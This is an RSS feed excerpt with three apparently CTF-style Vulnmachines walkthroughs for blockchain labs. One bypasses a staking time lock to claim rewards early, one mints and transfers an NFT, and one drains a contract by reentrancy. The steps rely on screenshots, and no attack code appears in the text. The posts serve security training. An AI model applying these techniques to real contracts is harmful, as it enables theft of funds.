alt="" src="https://cdn-images-1.medium.com/max/1024/0*6bf2UssbpFKS6V5y" /></figure><p><strong>Step 4</strong>: Check the pragma version of Solidity Code and select the proper compiler for specific code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EMdvsHhAlnvKHLgS" /></figure><p><strong>Step 5</strong>: If the code is bug-free, there will be a green tick mark over the left-hand side and the contract is ready to be deployed, the warning can be neglected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*75EynnEyyMHG8bVB" /></figure><p><strong>Step 6:</strong> There are various test networks for the deployment of code, this contract is deployed on the ‘Goerli’ test network. First you need to deploy smart contracts, and the address of the token smart contract needs to be entered in the staking contract as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*n-JPFJCaEf7dYsI1" /></figure><p><strong>Step 7</strong>: On token contract perform two tasks. First is ‘allowance’ needed to be approved by adding both the addresses, one is of ‘spender’ and another is of ‘owner’, in order to allow token transfer from owner to spender.</p><p>Second is, to approve the ‘spender’ by entering the token amount and address of the ‘spender’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yNjsAJ5aPb6aGMco" /></figure><p><strong>Step 8</strong>: Transfer token 9887, as shown below in the token contract.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*64vaOFppRU_1l1Mr" /></figure><p><strong>Step 9: </strong>Now in the staking contract there is a ‘stakeToken’ function, you need to call that function and stake 9887 Token as per the instruction in the given data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yZW7V5E0MUWStAy8" /></figure><p><strong>Step 10:</strong> Now here, calling the ‘claim reward’ has some twist, it has a time lock for staking the token, so your final step is to break that function and claim reward before the timer ends. For this, you need to manipulate the logic of the line number 58 in that code, get the reward and then call the ‘claim reward’ function to claim rewards.</p><p>So on staking with Token 9887, you will get a reward of 13050 tokens, this includes 3068.07 token as an extra reward, with an interest rate of 32% for staking with 9887.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SydzNublZh_2aTO7" /></figure><p><strong>Step 11: </strong>Enter the flag value as shown in the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4L4rBT-DHqqfkakG" /></figure><p><strong>Step 12: </strong>By clicking on submit button you will get a success message as shown in the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5Q3ldIRa4nKVRk0D" /></figure><p><strong>Conclusion:</strong> After completing this challenge, candidates will understand how to work with staking smart contracts in a Solidity Smart Contract.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=855f12297ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hard Task 3 Blockchain vulnmachines walkthrough]]></title>
            <link>https://medium.com/@vulnmachines/hard-task-3-blockchain-vulnmachines-walkthrough-f0a1ac60a6d4?source=rss-27484d4597ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0a1ac60a6d4</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blockchain-technology]]></category>
            <category><![CDATA[blockchain-security]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[Vulnmachines]]></dc:creator>
            <pubDate>Tue, 07 Feb 2023 09:21:01 GMT</pubDate>
            <atom:updated>2023-02-07T09:21:01.114Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Question: </strong>Mint new NFTs and transfer them to the given address.</p><p><strong>Challenge Name</strong>: Non-Fungible Token</p><p><strong>Hint</strong>: Analyse the source code,modify the code, and test accordingly.</p><p><strong>Observation:</strong> While observing the code, it looks like there is a contract named ‘Vulnmachine’ that has Simple ERC721 code and several functions for creating and transferring tokens to different addresses. In order to complete the task, candidates need to create a new NFT with the help of Mint functions and transfer them to address.</p><p><strong>Solution</strong>:</p><p><strong>Step 1:</strong> Go to <a href="https://www.vulnmachines.com/">vulnmachines</a></p><p><strong>Step 2:</strong> Navigate to Challenges &gt;&gt; Blockchain labs &gt;&gt; Hard 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*50_Gv5XcHdclLbNy" /></figure><p><strong>Step 3: </strong>Click on “Lab Access”. You will be redirected to the page below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0gzo-2mRpwTCXFfK" /></figure><p><strong>Step 4</strong>: Check the pragma version of Solidity code and select the proper compiler for specific code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*U_NjK1xqfWrzUt6k" /></figure><p><strong>Step 5</strong>: If the code is bug-free, there will be a green tick mark over the left-hand side, and you can deploy the contract, the warning can be neglected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T39XB8iaSE26xbsv" /></figure><p><strong>Step 6</strong>: There are various test networks for the deployment of code, so as our contract is deployed on ‘Goerli’ testnet network, select an inject provider and in that select ‘Goerli’ testnet and load the contract at the address given in the information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G7c7RxixhRQyEuwz" /></figure><p><strong>Step 7</strong>: Now as per the condition Mint new NFT to 0x12B53Ad0A796dCD336439C7d8E4326458e7cf8ad address. Now perform the operation of mining twice by clicking on confirm the transaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZoKM3mcMIuRVHosD" /></figure><p><strong>Step 8</strong>: You will get a status as “Success” for a successful transaction if you mint it correctly, as shown in the figure below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*s6LQ6y87kw0Z3R-w" /></figure><p><strong>Step 9: </strong>Now transfer the newly minted NFT to the address, don’t forget to approve first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*76VZqP7KxMWJcq_1" /></figure><p><strong>Step 10: </strong>Now enter the flag value as shown in the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9cuSr3W_T5rtuV9p" /></figure><p><strong>Step 11: </strong>By clicking on submit button you will get a success message as shown in the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TqKmUsmwzsJeZ_LL" /></figure><p><strong>Conclusion: </strong>After completing this challenge, candidates will understand how to create a new NFT with a safe mint function and transfer to address in a Solidity Smart Contract.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0a1ac60a6d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hard Task 2 Blockchain vulnmachines walkthrough]]></title>
            <link>https://medium.com/@vulnmachines/hard-task-2-blockchain-vulnmachines-walkthrough-a98fda37cca6?source=rss-27484d4597ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/a98fda37cca6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blockchain-security]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[blockchain-technology]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Vulnmachines]]></dc:creator>
            <pubDate>Mon, 06 Feb 2023 11:22:29 GMT</pubDate>
            <atom:updated>2023-02-06T11:22:29.632Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Question:</strong> Withdraw all the ether from the smart contract by sending 1 ether to the contract.</p><p><strong>Challenge Name</strong>: Reentrancy.</p><p><strong>Hint</strong>: Analyse the source code, modify the code, and test accordingly.</p><p><strong>Observation:</strong> While observing the code, it can be seen that there is a contract named ‘Deposit Vulnmachine’ which has a withdraw function vulnerable to reentrancy attack and it could be called externally. So as per the given condition, deposit ‘ether’, withdraw all ether and complete the challenge.</p><p><strong>Solution</strong> :</p><p><strong>Step 1:</strong> Go to <a href="https://www.vulnmachines.com/">vulnmachines</a></p><p><strong>Step 2:</strong> Navigate to Challenges &gt;&gt; Blockchain labs &gt;&gt;Hard 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*U2hkYtrzMM-66tZV" /></figure><p><strong>Step 3: </strong>Click on “Lab Access”. You will be redirected to the page below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cYa6VvF2qv53br05" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/0*-eBekmBnjLTOqL_o" /></figure><p><strong>Step 4</strong>: Check the pragma version of Solidity code and select the proper compiler for specific code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*liM4-VcggH4JIme6" /></figure><p><strong>Step 5</strong>: If the code is bug-free, there will be a green tick mark over the left-hand side, and you are ready to deploy the contract, the warning can be neglected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7xKTmaRqE4mwxgSM" /></figure><p><strong>Step 6</strong>: There are various test networks for the deployment of code, but our contract is deployed on Matic Network. Select the inject provider, make sure to choose Matic Network and load the contract at the address 0xa3A3623D1009089741f9d026BDb6bA40Bde6f85D.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4GBS1yrMOE8l2cJ4" /></figure><p><strong>Step 7</strong>: Now as per the condition, calling the attack contract will deposit 1 ether and automatically it will withdraw to this contract as shown below. (you should have at least 1 ether in your wallet to perform this transaction).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*D8N-XpJGwIiae6Nv" /></figure><p><strong>Step 8</strong>: Now enter the flag value as shown in the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qAoVct5poE-Sh660" /></figure><p><strong>Step 9</strong>: By clicking on submit button you will get a success message, as shown in the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*274b9L1Veau_fauw" /></figure><p><strong>Conclusion:</strong> After completing this challenge, candidates will understand how reentrance is performed on a Solidity Smart Contract.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a98fda37cca6" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>